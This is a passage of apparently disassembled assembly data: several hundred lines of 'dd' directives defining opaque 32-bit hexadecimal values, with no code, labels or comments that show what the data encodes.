		dd 90301C1Fh, 6E300802h, 918018B8h, 72F61A19h, 0FE112D1Dh
		dd 0F288036h, 7A314C01h, 88801EEEh, 29301C32h, 2C13DA0Ch
		dd 307C318Ah, 1C591E33h, 0CA6792Ah, 0B100C484h,	86320CFDh
		dd 762F14F5h, 0A4C7072h, 2B11F77Dh, 1E2840BCh, 0B704464h
		dd 23FCE878h, 0A849F360h, 2F9DD013h, 7470D642h,	90E5BDh
		dd 2E7614B4h, 0B00A3A8h, 0FFED16FDh, 1D9C3BDCh,	41AFFAE6h
		dd 6BC0302Ch, 9E58F0E8h, 0FE59AE02h, 86BFE220h,	0E4710B9Eh
		dd 58BC0E6Dh, 0A00812F2h, 0A1DEA80Fh, 0AD2A2D8Ch, 1FE22880h
		dd 2BBA291Ch, 0A5C8E49h, 189EC376h, 1ACA262h, 90BDE21Fh
		dd 7686E768h, 691731ABh, 0C4E8CC77h, 2A591E31h,	926D292h
		dd 300F68F9h, 0B9C98140h, 22A32Bh, 249EE35Eh, 415C12F0h
		dd 8CAB640Fh, 79F47730h, 23993786h, 9D3DA330h, 70932800h
		dd 9782B437h, 0D1F36187h, 0E09A63E0h, 1D0AAFFDh, 0D00A7964h
		dd 0B031F664h, 0C6518C6h, 9FF5C38h, 2537B530h, 4C43188Dh
		dd 168C696h, 780F9A2Ch,	4328D63Fh, 1A4D8A4h, 0ACC42D54h
		dd 0F851DC46h, 63743E5Eh, 103076B1h, 9EC45194h,	604C4162h
		dd 0E584465h, 1916184h,	93B021E9h, 20F69784h, 1A3C0B6Ch
		dd 76308A61h, 1895DF54h, 0A5144CACh, 0E8445848h, 6291C0BAh
		dd 6C25B62Ch, 0B9DEE830h, 527095A0h, 5F10A41Ch,	93FCAC29h
		dd 0E8B86C74h, 22C88542h, 15DE3042h, 6C29590h, 0A186BB6h
		dd 2838503Ch, 477185C8h, 4E8DA008h, 716C1E44h, 0B81288A9h
		dd 21860835h, 50424351h, 7E0A3550h, 6DC478C9h, 0A356822h
		dd 0C428D116h, 0DD40215Eh, 1A46C50Fh, 11557862h, 85284FD8h
		dd 5023ABA2h, 5C094876h, 886C1E26h, 8CA4E823h, 22AA2A41h
		dd 6786A100h, 7421A060h, 0D22D107Ch, 208C1F11h,	0D4AB44h
		dd 0D7C6A496h, 0AC231283h, 405619CAh, 0DF78D319h, 40ED04F2h
		dd 241396F4h, 67A49ABEh, 0A2310F3h, 0D62B634Ch,	0E35D4909h
		dd 0AF9884BEh, 0F98C3F46h, 3CE9782Bh, 0CFEFD801h, 0EC248A2Bh
		dd 15F512B8h, 76E8225Ch, 0A886386Ch, 0A03E49C7h, 0F9689329h
		dd 0A4238D5Fh, 581622DEh, 182078EEh, 196834Ch, 2EEBDB74h
		dd 503F5C24h, 482DC5CCh, 148ABC26h, 0AB9D1E0Fh,	8EAC8F69h
		dd 7C401370h, 0F0F44956h, 0F95E0214h, 8DEE945Bh, 61503DE3h
		dd 0F8001806h, 0EB9DF48Fh, 320DCCh, 37F9DBE1h, 1658A4F5h
		dd 40124A00h, 9F1ED467h, 0C7610970h, 8C901134h,	9301BD19h
		dd 627C6A35h, 0CFC45EEAh, 66A304AEh, 0C0C3A93Bh, 931F8270h
		dd 859D7D03h, 0A224FD04h, 0FB4620EFh, 780068DBh, 1993E761h
		dd 0BADA4Fh, 0FF8B7C65h, 7367771Fh, 0C4D445Ch, 0E0866850h
		dd 178E7866h, 0D96448h,	27B52C0Ch, 945468BAh, 3D1658D8h
		dd 2C12FAF4h, 0B1B5B205h, 0DC71D840h, 16E995Bh,	3160585Dh
		dd 9EB7D020h, 11164448h, 80C4AC48h, 4C87EB62h, 0CF4477E3h
		dd 0AABD008Fh, 96C84D2Bh, 0FCE18702h, 0D600302Eh, 8ACFCE5Ch
		dd 285ADC3Ah, 7DDCB90Bh, 50896076h, 53C82BE3h, 13001BE4h
		dd 855C771h, 0ED34CE8h,	0E50230D8h, 6BF5BF20h, 6F01C36Eh
		dd 0CAC8BDAAh, 0E1E0553Bh, 0FD2B0041h, 32955E85h, 0CE0036BBh
		dd 8A4CDA5Dh, 7405BA61h, 4ADE006Ch, 5E6B2497h, 85031591h
		dd 0F5D08A48h, 8C30E05Ah, 24B93A79h, 22938F00h,	0C52DAAE1h
		dd 0AE06E07Ch, 9D628A30h, 99920140h, 0B656E113h, 4964D15Dh
		dd 967BF040h, 0FDB283Ch, 9CBA8F6Eh, 0A8A24CFh, 984C30BCh
		dd 787C145Bh, 0B3C11C87h, 498830h, 28EAAF6h, 9D7B8B5Dh
		dd 6090705Bh, 6B5CF68Fh, 0E10446C4h, 7CB7B87h, 21597870h
		dd 12A342C8h, 915618B8h, 57DD240Eh, 39D1409Ch, 2B751255h
		dd 52C2C78h, 5E8D5Dh, 513890C4h, 713ED28Fh, 38D655h, 1DBF67F6h
		dd 0A91ACD2h, 8F4ADD5Eh, 40385214h, 0D2002A2Bh,	81C6BF17h
		dd 1530C164h, 0F8907182h, 8E129502h, 9495574Fh,	0F3F50468h
		dd 33BC72F8h, 0B136C103h, 0E059E6FEh, 718AE3h, 7990589Ch
		dd 3BD05C87h, 8C23BF13h, 7801005Dh, 58AE4C0h, 92D20960h
		dd 648F0098h, 71C9D598h, 82796187h, 189008CFh, 1320F628h
		dd 308B2B9Ch, 0D2215C20h, 28914909h, 50EC0C90h,	0BF749164h
		dd 9117CB99h, 2B604405h, 5C00FE04h, 9557DCC2h, 250B8B5Eh
		dd 22DB5FBAh, 46651690h, 581D4940h, 7BD9EF02h, 54C11593h
		dd 61E5E04Eh
		dd 8B308A07h, 88814F5Eh, 4089944Ah, 0C0879779h,	0DD274325h
		dd 7C588CC0h, 10D48E74h, 2989098Ch, 82B0004Bh, 0F129657h
		dd 13CB7B8Ah, 0B2C2CDDh, 0E0015616h, 98976286h,	60617A10h
		dd 0C6AC9096h, 28851358h, 5D89EF0Fh, 931601CEh,	4BD1149Dh
		dd 4D01C8BCh, 4C882890h, 25609F8Bh, 0A130141Eh,	1E8C7885h
		dd 82648D5Fh, 5556DA61h, 48718C6h, 50F84AD5h, 0DE785F90h
		dd 0D4E6E2EDh, 169D173Dh, 606325DBh, 30B2C0C9h,	123CC583h
		dd 64CCC591h, 90189CB8h, 0F0888D24h, 0EF03631Eh, 0A0976487h
		dd 0F8A5586h, 0A64C175Dh, 13909098h, 787CDE58h,	9D7B8500h
		dd 924A8C26h, 0F5C0911Dh, 60F8BDF2h, 9A48E132h,	3E02C4B0h
		dd 57852695h, 13E4CE8Ah, 32DD228Ch, 98C0C10Ch, 23589C8Fh
		dd 78873ADCh, 288A4C30h, 0B124998Eh, 348C19C4h,	12098B30h
		dd 0E4C40A87h, 5950E653h, 6905C099h, 0C07984BCh, 9A64D420h
		dd 5E311098h, 9D7A688Ah, 0EE60DAF1h, 0D0E15912h, 0A978871Ch
		dd 3C0F492Ch, 9C620093h, 987BDD13h, 58C074F0h, 90491761h
		dd 8E873E5Ch, 8039B06Fh, 21184D6Bh, 0F5CED050h,	48DA0A4h
		dd 0F4BFF9DFh, 0B05B71C8h, 8F818427h, 140F23A4h, 0E9188AE3h
		dd 13C8C8EEh, 878F0BC1h, 50478B5Dh, 0FE24BCD0h,	139A165Dh
		dd 97D81DDAh, 856440E7h, 0E1268A61h, 0F8D940AAh, 250E50A2h
		dd 81E4FF6Eh, 648D61AAh, 0FC8E2070h, 0DE5B3E96h, 8B578A01h
		dd 0D822CB7Bh, 17FC9062h, 4A963C9Eh, 748FD488h,	0C4971DBFh
		dd 61938087h, 2492577Ch, 0B6798817h, 0CE628C01h, 90708231h
		dd 42E53AD0h, 6041C43Bh, 94307D50h, 8E242128h, 309A1D79h
		dd 97931EDBh, 0E1804989h, 0F718C86Ch, 58689B36h, 0DCFC056Ch
		dd 0D426CE57h, 88342EE8h, 79DD0BAAh, 688550EEh,	2F91AAD8h
		dd 90B8905Eh, 5D28CE3Dh, 0EF7EF0DBh, 0B6353Ah, 5E9A7BC0h
		dd 3398258Dh, 0E0218527h, 0DAC08ECFh, 87289748h, 3058E6A2h
		dd 0C4E06CE9h, 80E1B005h, 104B380Dh, 0CB796BF0h, 588B610Eh
		dd 628C9F8Ah, 0FAB28CCh, 3F15C8BDh, 0DC1C1052h,	62DF5606h
		dd 5F1E208Fh, 4A8E13A3h, 648582CCh, 0BBB87095h,	0CF2C8AE0h
		dd 806C14C4h, 53138C42h, 0E8F8998Bh, 497C8828h,	646FFF7Eh
		dd 0DC788A88h, 6C259005h, 74D8D010h, 5BF68378h,	94487C13h
		dd 0BB14041Eh, 9C4A0080h, 7203C224h, 97B0A122h,	58CF053h
		dd 0CF905F60h, 33DCF286h, 7A56284Eh, 0C8E8D084h, 589C6214h
		dd 67C4DC94h, 8560B590h, 0C3589A30h, 3004D4A3h,	828F5586h
		dd 0F49A4A44h, 0A4276453h, 20849AF0h, 0F8DC30E0h, 8C2819BDh
		dd 3C82B879h, 0F0DB286Ch, 55DDEE4h, 2EA8FA7Ch, 0F59CA5h
		dd 975F8701h, 0DC98DA56h, 62006FFAh, 82F62495h,	1E683A28h
		dd 7AB0E783h, 0F29769Fh, 41D8136Eh, 2800D6EEh, 97208CEh
		dd 0C9BA1067h, 0A8E0F508h, 28166EC5h, 0BA0112CDh, 2AA376F4h
		dd 3A3525E0h, 1788F1Dh,	0A8E2CC29h, 0F42C8D77h,	8800DFEAh
		dd 8F7666AEh, 1CAC0291h, 0BE68C24Ch, 8300F63Dh,	0EC806AFFh
		dd 6960B697h, 0CF7FA5D0h, 2D800BFh, 0A3DA6CF2h,	0F77588CDh
		dd 7A00C173h, 0D98253C6h, 14122B02h, 20BC35AFh,	188CE7F1h
		dd 0ABC700A2h, 0EBCA42A3h, 79F68587h, 0CDA12601h, 0C2E1DDD7h
		dd 0F925BD8h, 167454D3h, 20CDF8Ah, 71E7BABBh, 0F8E04900h
		dd 0D2F0FD12h, 4F75B2h,	0D959C7EAh, 9B5775BEh, 40349C03h
		dd 0D019D8E7h, 37AD358h, 361422CAh, 0E1E004C0h,	63064D56h
		dd 0BE0485Ch, 92D20069h, 40385D7Fh, 0EE15A6CAh,	881CB544h
		dd 0A0150453h, 34D400D2h, 165BDh, 531E0D8h, 904BA66Bh
		dd 1A30E700h, 0B314CF7Dh, 322718A0h, 29448F6h, 0D624D50Ah
		dd 124208E0h, 1E6C00F0h, 98A0AB5Bh, 16034FA1h, 0ECB8E741h
		dd 7DD006BFh, 386E11F0h, 0C1C0E878h, 0F9978227h, 0DD160272h
		dd 4059768Dh, 3F21C99h,	0E1F100B9h, 8851C74Fh, 0DDF058BDh
		dd 797C09FAh, 0DE63B175h, 8044B259h, 0FA455805h, 2D50335Dh
		dd 211CB608h, 0E005C91h, 0C63DBF89h, 1F0B17A9h,	0F5450ADBh
		dd 0FA30270h, 880FCE6h,	2B99083Eh, 1614DD0Ah, 5781B0FAh
		dd 0EBA25E5Bh, 0C2F077C9h, 51AE052Dh, 3113DAB0h, 1989375Ch
		dd 81A01C18h, 799058E9h, 5025308Eh, 9956FC21h, 97F9523Bh
		dd 0BD018923h, 8E2445B3h, 3151B670h, 0C9811425h, 0B4898EC7h
		dd 0D10200F8h, 3C6E7201h, 20E43A22h, 0C16088B8h, 0D6D2A904h
		dd 3880081Eh, 60295C8h,	255CD33Ah, 4100815Dh, 0D8B9AC76h
		dd 33C10D77h, 4C089F20h, 6E622103h, 876C3ACh, 7449CBE8h
		dd 18442C12h, 4E41DE7Bh, 20128D1Ch, 54931AB0h, 61C0D311h
		dd 7A0DA603h, 493098D8h, 18E849CFh, 6C83447h, 0DA9062h
		dd 0F2B25CD8h, 0A882E8A2h, 453C3903h, 11200E49h, 7A813A10h
		dd 0F15E14h, 2A0CDD77h,	0CCECFBh, 74E2BE01h, 0DF7DAE96h
		dd 8816E32h, 2A186818h,	9CE204B6h, 0D29E3A86h, 5910D640h
		dd 4307209Ah, 8CDF0409h, 6E20863Ch, 2124668h, 9676E2B8h
		dd 101B31BEh, 1E2B02Ch,	0DBD85E61h, 80CEEA24h, 38D197B0h
		dd 49A4023h, 9F9226C8h,	0DD5880A1h, 41E9C0EFh, 8017F8BCh
		dd 0A4BC2A69h, 3DA713C8h, 940309EFh, 9A7C5CD4h,	47965005h
		dd 0C807DA33h, 4F81E3A6h, 10A0DD4Bh, 0A7467AA4h, 6002C494h
		dd 1E0C1D77h, 808FEF1Eh, 18A6E68Dh, 0BB031354h,	3A5C9FFEh
		dd 58600090h, 0DEF1E8A7h, 5892592Bh, 80C1FA3Fh,	0D8E9D52Fh
		dd 24615FAAh, 3B7C72EDh, 0AC690246h, 316FD8B8h,	61631045h
		dd 0F71638ACh, 0B707C607h, 0A13440E3h, 0CA67FE0Ch, 61806E80h
		dd 3C960655h, 0E12424DAh, 2D478520h, 3B880988h,	4F91B817h
		dd 0C0082287h, 319A424Bh, 20A7281Fh, 0A1648FC0h, 291F14E3h
		dd 8B8DBB7h, 1344C06Ah,	69E2BB60h, 11B69623h, 0B32F0006h
		dd 85CF3FE2h, 422A098Ah, 4C3021CCh, 785514Fh, 8E48419Eh
		dd 5010060Ch, 0C6C0C928h, 39A25A00h, 0E44D71BBh, 0D50C3F08h
		dd 17E08986h, 24AEB1B3h, 0AED31F10h, 0A4CBA041h, 8132E005h
		dd 84F30E4Ch, 0BE1B4729h, 0A07D0100h, 6490669Bh, 0A04C7F32h
		dd 20C4CA3h, 61A1AB55h,	9868C1C9h, 1E000AE2h, 0BF044A44h
		dd 0CC1C43EDh, 8121F908h, 461E1203h, 0A07818F6h, 1014B0h
		dd 0E9442A49h, 60A1A8C6h, 0B0428A4h, 0C4A471Eh,	8020FF62h
		dd 1BE1E13h, 0F1B3B21Fh, 0D0B5F283h, 0F805209Dh, 643E368Fh
		dd 0AFB88C61h, 9390BC50h, 0B72B001Fh, 0E4A30EEBh, 2E009707h
		dd 4BBC7569h, 52F5A84h,	506A2433h, 0DD5CD16Bh, 0DED510D3h
		dd 0E480A5A8h, 228660FBh, 87151655h, 56A404D7h,	98F60EC8h
		dd 5E7229h, 2D31A6CBh, 36A34AB6h, 966A1D1Fh, 0B8848870h
		dd 0AF3F88DCh, 0CB94800h, 0F55FF149h, 924307A7h, 0B09CE4E3h
		dd 58D3BBD2h, 0E74B38C1h, 28210FECh, 9A46C08h, 9E7DFA20h
		dd 0D973483h, 0C0C69810h, 6689A001h, 23071296h,	0F69A0C50h
		dd 5AB1F3h, 4995014h, 44E5A656h, 4FDA9201h, 0BBD9E98Ah
		dd 0F138FCh, 58DBCDBAh,	745ACFA2h, 7D818C9Bh, 24FE3C6Eh
		dd 5E88EC22h, 0BBAC68C0h, 0A46758D8h, 0AC8860E3h, 0D2034401h
		dd 0A0DF4BDEh, 78B06237h, 0B44573FBh, 14109A00h, 74FC7B90h
		dd 415E0C17h, 7E51512Ah, 5BE2F207h, 0A8806B84h,	23F38D8h
		dd 0D5F9F59Fh, 5466A6A3h, 874F9409h, 90C014B3h,	10F4618h
		dd 9675E2BFh, 30627C56h, 0E20E4AD4h, 230031BCh,	0FEF9BFF8h
		dd 40D88A48h, 0E7482ACCh
		dd 0B8D784D8h, 40C6EC88h, 6FF8ABF4h, 2E188E60h,	92239A26h
		dd 0C2AA0000h, 51D1983Bh, 0B262E60Ah, 0C65238h,	0A0EFDC47h
		dd 79C8E850h, 19B2E125h, 8C15914h, 1C0E2DF5h, 37005192h
		dd 0E5FF2882h, 8A5B0093h, 46B9E820h, 101273F9h,	3C65951Ch
		dd 0C062A008h, 4A591E09h, 0E0201C4Ch, 1E1182h, 7299938h
		dd 0E3C17045h, 3C618CA2h, 875185Bh, 4FD8BCACh, 1F4048C4h
		dd 551AC6Dh, 174F9102h,	0A0EBF886h, 0FE6B8AD0h,	18DC2880h
		dd 0F20229B8h, 800E11E4h, 9672E2BCh, 5448C5Eh, 0E2B40028h
		dd 4972702Bh, 0B7029C41h, 7794DFEDh, 1B4E8FFh, 0DBBA2A58h
		dd 1C1878D0h, 24BCAF76h, 0B985C1F8h, 9DD510A5h,	8B4A1ED2h
		dd 8F43DF9Ch, 5FA022E7h, 0AAE6A496h, 39BD9201h,	0DEEAE4CDh
		dd 2623AC20h, 0CA84944Eh, 805111ACh, 0D8BAAC6Bh, 4A448C9Fh
		dd 0AC631C61h, 7465C027h, 0B7F0C572h, 4EDF4F09h, 80A40026h
		dd 925EDE6Ah, 17904CECh, 55666B09h, 5891B000h, 76523E6Ah
		dd 16D23FCh, 4A401E06h,	80F43324h, 811E0E85h, 50F50025h
		dd 952CAA62h, 2116A612h, 9C70E1C0h, 9380D94h, 0E44F70D7h
		dd 63B56404h, 0BC098540h, 0A9643165h, 0EF9D13h,	0B68F638Bh
		dd 0FCAE4526h, 89D1D808h, 5CB2BC03h, 0AF113017h, 0DF1D3E9Dh
		dd 39B38F66h, 768D482h,	0F26A5468h, 0B0184841h,	0C4932AA2h
		dd 0CF491288h, 87E484A0h, 24D8E074h, 5490FBC2h,	70A9B880h
		dd 9B201098h, 2826F18Eh, 2C788703h, 3002C422h, 4138AA49h
		dd 6FCC8493h, 421E0460h, 11344A23h, 0C8700F5h, 6F366C1Eh
		dd 1A4B3DF8h, 0C0341F24h, 4DF131EBh, 83FC2149h,	0EB6CD74Bh
		dd 0CDC10ABEh, 0BE90DBD5h, 0D2401012h, 8884066Ch, 0A4FCB01Eh
		dd 81D7E815h, 0F69F83F8h, 939100CBh, 2F7752C0h,	0BC03C8E8h
		dd 0F57F387Eh, 8499C5D0h, 0E009A007h, 26947D20h, 60D8D7DAh
		dd 59301B4Bh, 0C10B89Ah, 384EADEh, 17A201D3h, 240AC62Eh
		dd 7E088462h, 0FEAA0070h, 3E1D7B99h, 0CDDB2606h, 0AE9DFD9h
		dd 580A77Ch, 3EA0C24Ch,	0C90FD0C5h, 981F0AD4h, 0C0BF1D45h
		dd 5CD8F611h, 0C40B9A4Eh, 0FD0400A6h, 3E75D11h,	58BDF941h
		dd 0B7B210D3h, 263FE448h, 342CA948h, 0F48E206Fh, 17C0AAC8h
		dd 22D3FAh, 994F25EAh, 4810633Ah, 0EB695F60h, 0FF3F139h
		dd 0A4EE794Ch, 8091E704h, 0B3E17830h, 467038A4h, 55580B11h
		dd 938EAD88h, 721E035Eh, 50DCB0FDh, 7384A003h, 0E4C20C5Bh
		dd 72101BE8h, 0AC4B91Ch, 3BA25446h, 921C02F8h, 428B9BD2h
		dd 6BE674E8h, 0DF4A2D09h, 0FB20214Ch, 0D801DD10h, 232BC8F9h
		dd 0E681B00h, 3BEC92A8h, 0EE121D41h, 40FFC8DEh,	77EBB800h
		dd 1D55CF85h, 302BE079h, 7D76DF9h, 3125741Dh, 0A13AF3C2h
		dd 1ACC24Dh, 32A0A238h,	282C2CEDh, 0BAC010C8h, 469668E2h
		dd 1A228Eh, 0D3E2B22Eh,	0ECEF4A24h, 267E6492h, 1FB04827h
		dd 0FC9311ECh, 0E8E08593h, 5B4FECC0h, 0D10C7073h, 705C8FA2h
		dd 0CFF6B1CCh, 0DBEC24h, 132E73A2h, 976466ECh, 0B4966F00h
		dd 0F8103877h, 0E4CD480Ah, 1C18D927h, 0C72E7796h, 6E50C8BFh
		dd 0D7360002h, 0E3A1573Bh, 54542BFAh, 0A00017E0h, 6D2E41BBh
		dd 1CF05B78h, 0AD791043h, 0B7919C17h, 0D699BF80h, 7DF87963h
		dd 0ECC97624h, 72A4043Ah, 5CA42B16h, 7E083AC1h,	7B87FA80h
		dd 4D67B74Ah, 0FBD93Fh,	616D4057h, 249932ADh, 0A9149DD3h
		dd 181BD11Ch, 70CA030Bh, 77BA2408h, 0E8C8884Dh,	0CA51E2Eh
		dd 0CEA38E96h, 0A0A909E0h, 0CC500A2Fh, 0EA135BB4h, 5C47C0DCh
		dd 90753A01h, 0C7B7A408h, 58070142h, 87986375h,	6F005A9Fh
		dd 48CF9A26h, 0A20C144Bh, 1921A3B8h, 68512E1Fh,	0C60F7313h
		dd 7B20A0BEh, 1567368Fh, 801FF8F3h, 0E3005739h,	0B61CF9CEh
		dd 8003F9Fh, 0A594AB46h, 70312326h, 0CD0ACC1h, 18F4E74Bh
		dd 79025EC0h, 6AA25FC1h, 0DA84A0E8h, 0A365C99h,	0EED801DEh
		dd 1017A7CCh, 4F801991h, 0A7C27572h, 0E722D890h, 6AA518A3h
		dd 9A48718Fh, 0A13084B6h, 6C5C56C2h, 33384920h,	6D11B342h
		dd 0EF4B0A93h, 1A82C414h, 6B5C166Ah, 0A2210310h, 65CE503Fh
		dd 84DAFBFAh, 0D442EE00h, 4BD9D3E3h, 0A6F702AFh, 2B822623h
		dd 0BB70E4F0h, 0C976A00h, 39957D0Ah, 5C2C943Ah,	0C7014846h
		dd 0F13C44D0h, 30EE40EDh, 9B00E023h, 4BDC0318h,	0B948A42h
		dd 0DF9DD709h, 0C8DE6807h, 20D9B809h, 1D8D0E04h, 0C4C1FF4h
		dd 4391803Bh, 178CCF48h, 52F9BF62h, 9343305Bh, 2002E7F4h
		dd 5DA25330h, 52AC9AA8h, 76361308h, 8C2453AFh, 0CC242880h
		dd 0A54064DEh, 3835B8h,	0BD21445Dh, 4D56A67Dh, 271C2658h
		dd 9783878h, 7FF80138h,	5777EE4Ch, 825432B0h, 0E8A24610h
		dd 0BE5DA84h, 0AD674F94h, 4ABA0868h, 3CDF3824h,	448B7892h
		dd 16C1AD88h, 92FD53EDh, 2B7F0486h, 11760B4h, 849369A2h
		dd 1EF4A949h, 0B86A2020h, 882354FAh, 5C700A08h,	81E85725h
		dd 0D53E34DCh, 6DF7F067h, 8B8DB500h, 92583F52h,	0A0555917h
		dd 0A845C069h, 0A0611AE4h, 37A260CCh, 84025A4Eh, 4391484Eh
		dd 5447CADCh, 0DE9130h,	0D56CC652h, 0C0E59E2Ch,	0CF4A5130h
		dd 0B4B90EE8h, 0FCA9920Ah, 0A7E34300h, 16528D37h, 88B2F926h
		dd 75002818h, 93BA2D7Ch, 0EF810Ah, 9BE94EFAh, 87B07790h
		dd 6CC0AA10h, 72B6C108h, 8D84DA08h, 0E4C913FAh,	0A500300Bh
		dd 4E509612h, 0A934AFEh, 0BB4BDBBEh, 97D50038h,	6D70D136h
		dd 0F53DC700h, 93CA19C9h, 0A34700EDh, 5C8CDC9Fh, 48014B72h
		dd 7F966395h, 1024A773h, 805C9C2Ch, 5E8E0A61h, 0A89ECEADh
		dd 45465Eh, 1FFA830Ch, 77ECCE5h, 2CDA9C5Ch, 60908B62h
		dd 0B9C55339h, 0F4C8EC78h, 42092AAh, 0ED5CD742h, 5194C02Dh
		dd 1825CFDCh, 0F178A53Ch, 28C016h, 6443849h, 0CB9CA824h
		dd 96E58C9Bh, 0AF122028h, 28D1BDF9h, 0FB12A223h, 142CB8F2h
		dd 5900C6BFh, 0C40ACF71h, 263F03A5h, 8A919FDBh,	5E56300Ah
		dd 4192D43Eh, 48B8140Bh, 41A38220h, 18FC3850h, 0E0D0D51Dh
		dd 0AACF2877h, 345808BCh, 0F609F762h, 496460C9h, 0C11AF0D7h
		dd 0E7A28048h, 5C21047Fh, 0A0C6C961h, 0E0138C98h, 0C434010Ah
		dd 1CE9714Ah, 0B1843063h, 0BD05C17Ah, 779BD20Bh, 0CFD1F4D7h
		dd 60A03620h, 4A27788h,	0AE2A48C0h, 490B24Ah, 0B20E8673h
		dd 0FA6C4181h, 0A3086E7h, 0EF24DCCBh, 92BE02B0h, 0D4727577h
		dd 223C724Ch, 0FB0115CBh, 79049011h, 808D1226h,	231903C9h
		dd 3316D100h, 28569193h, 0C4C80C47h, 70980844h,	0CAB4E24h
		dd 465EA42Ch, 66A501ABh, 790499B1h, 0A03EA848h,	0F6E6CD78h
		dd 48470192h, 56CA41CBh, 4E03250h, 0BD9B1F94h, 898110Bh
		dd 3B007256h, 77A57D40h, 7ABA41D3h, 0D0BF028Dh,	0B56FABB1h
		dd 91D6A440h, 341F980h,	4611D2A8h, 0A053D038h, 324FA2A8h
		dd 0B038128Eh, 405B052Eh, 4823743Ah, 8530A100h,	273EC350h
		dd 109090A2h, 922E8E7h,	0E4C90ABEh, 419830BCh, 3CC8C74Bh
		dd 0D3261520h, 463C04F4h, 0DA07819Fh, 0B0A83934h, 63B064DCh
		dd 580A8047h, 0AC448C5Dh, 265F7090h, 261013BEh,	48EC11A8h
		dd 88983258h, 6438C01Dh, 9D896A8h, 54C45D4Ch, 8AABE440h
		dd 10320CC0h, 77E1CC13h, 2CD86CD0h, 0A8C969DAh,	0C1A1F305h
		dd 1A07AD0h, 51804D2Bh,	0A9AE8892h, 48723543h, 27A78C00h
		dd 0FF06823Dh, 26B7034Ch, 0B3EF4FC7h, 0F8E370C6h, 0C49E5067h
		dd 898D818Ch, 1F8CB16Fh
		dd 0FA93C4Bh, 4AA420B4h, 7A4306Ch, 4A23431Eh, 0F4112Ch
		dd 411E0F84h, 1873C8B2h, 0B15E4410h, 2E4B24D8h,	527F6449h
		dd 8442E1FCh, 0F9B4E2D9h, 180679FCh, 427C0730h,	0C285FD2Fh
		dd 0FC4A14CFh, 0DB31AA60h, 866C5C4Ch, 79680D97h, 0B4DA02A6h
		dd 0A7DF4E53h, 95251C79h, 80B691E4h, 0A9D5A34Ch, 0ED703F56h
		dd 0FCA0B927h, 7FBE215Bh, 7423120Ch, 9E87921Eh,	11BD018Ch
		dd 21A8CB53h, 5DB4000Ch, 0AB3482D8h, 8922046h, 37E8C41Eh
		dd 0B3187C06h, 2BF35310h, 4F14C805h, 80B4A327h,	0E3471896h
		dd 16D0118Eh, 0C8B71738h, 0C63A842Ch, 4C89E00Fh, 58382CACh
		dd 7201D493h, 57D8BDACh, 1E884418h, 7AAC0F6Ah, 348F74C6h
		dd 9B28B6E0h, 945AA2D8h, 0BE36E861h, 0B8A3F407h, 0D74B091Ch
		dd 2670E07Ch, 52FB3192h, 54BD2BD8h, 42C4C1ACh, 29400C5h
		dd 405C9451h, 6D5A2B6Eh, 2292EF12h, 0A8C8C4F7h,	0F4AC3064h
		dd 40047050h, 80B02411h, 409BFB4Eh, 2087F422h, 0C0FEB208h
		dd 961BDAA7h, 0DC677713h, 0BA133C40h, 785C9902h, 20044B7Eh
		dd 0DBCC58ACh, 0B7C2095h, 185F7FFh, 0E9A54665h,	0F30CCDFAh
		dd 2EC4EA91h, 0A0AC1074h, 80832078h, 715CD40Bh,	6C48AADBh
		dd 0CE28408h, 61714963h, 0F02054B8h, 5A67A3Eh, 6A1A5A57h
		dd 0C328A082h, 8DAAE0A8h, 2EAF615h, 0BA23E140h,	2E44A208h
		dd 0A870B9DCh, 7BF33000h, 4FE1C960h, 88491412h,	0A5AD6C05h
		dd 0A6B2A003h, 306012EEh, 3F4C03D7h, 2CA0395Eh,	6BF8A8D9h
		dd 0A4B4D8B2h, 0A03964A6h, 0DC0A34ECh, 6068C719h, 5C9ECB7Ch
		dd 0B8E8EE2Bh, 0C0D0C913h, 1B42C1h, 3F0154C7h, 4FDC3DB9h
		dd 20B5A20Fh, 16EC6110h, 1460406Ah, 1809B63h, 4A461E08h
		dd 0B0243C14h, 1E1083h,	33D4135h, 4CA7E40Ch, 57323Fh, 54B7B329h
		dd 0AADBA2D0h, 0FC6C6088h, 0D8538237h, 0DD075F84h, 23336E00h
		dd 8708BA35h, 0A74624DAh, 41D48482h, 0A66DA503h, 0BBDA1B89h
		dd 0A0E14189h, 2614D430h, 30B0E4BAh, 8CC5DC2Ah,	4793D609h
		dd 0DB08A01Bh, 1DA751EFh, 20DFFE6h, 0BBF0C220h,	2C5E2862h
		dd 7465Eh, 0B24D9011h, 987E9FF9h, 0F598985Ch, 30308861h
		dd 60B9FBh, 680E32EDh, 0A600CF3Fh, 21D08FA5h, 7DFD4Ch
		dd 4B3EF255h, 0E0562CA1h, 5CBD97h, 7FFDD1DEh, 0CC3C07F8h
		dd 940245D9h, 7C18C10Ch, 8848CE14h, 4984C004h, 680219F2h
		dd 58C094F5h, 0E186E2BAh, 0E07DA640h, 0EC75D0B9h, 8CBC6B07h
		dd 78224BCFh, 0BBB06806h, 981C9251h, 984CB080h,	0F3592C80h
		dd 0F55F08F4h, 5A58842Fh, 4AEBB200h, 6013C75Eh,	0C091D01h
		dd 8B6A0998h, 918C1784h, 232680A9h, 26252A66h, 0C94CDE7h
		dd 7D78F2A5h, 6DD46E09h, 0D3F00245h, 9C1050C7h,	0CD03D6ACh
		dd 89B7F1C8h, 0F0F6C180h, 1C7D7824h, 802AAA7Ah,	30B187B4h
		dd 0F5012EA3h, 551F9621h, 9441FEEEh, 2A01B4CCh,	0FD598E5Ah
		dd 0A385C0D5h, 847B9E8h, 0F6C955E7h, 5F18D480h,	0EE3460h
		dd 0B9111388h, 4D67FCE2h, 0F6EAF337h, 949078B4h, 50B32F8h
		dd 5377E072h, 0A8CC94B9h, 33DEB9E4h, 6E9B78E8h,	34A03B00h
		dd 2470ED0Ah, 5FF4FEEh,	48921CA4h, 1B0175E8h, 87451963h
		dd 88E0C430h, 64A1CDF6h, 51CBD437h, 8C698400h, 47D0C005h
		dd 0FEC23DB7h, 0F6E874CCh, 0F4234C8Ch, 0A20DF442h, 4421DD6Fh
		dd 8254B844h, 0A469E6Ah, 53B1110Ch, 30A8A234h, 5A0001F8h
		dd 0A4C131FEh, 5884BF4Bh, 0F5387826h, 9A089E1h,	679AEC10h
		dd 4C115D4Eh, 7B186254h, 0BE542843h, 737FA208h,	5259A944h
		dd 9C52F6AFh, 60F5E029h, 918ADD1h, 1800EE7Fh, 9B55B1DCh
		dd 9A15FB11h, 0B0F80030h, 995F1601h, 0D3F2B31Ch, 0B4F5E22Ch
		dd 12DA7F08h, 0A4646008h, 0E456E7E8h, 44FB1064h, 26A5B588h
		dd 4CC1C740h, 9A06C460h, 96CC5169h, 5617E009h, 13D000C4h
